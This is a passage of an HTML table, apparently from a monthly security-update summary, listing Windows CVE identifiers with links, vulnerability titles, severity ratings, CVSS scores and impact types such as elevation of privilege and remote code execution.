  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
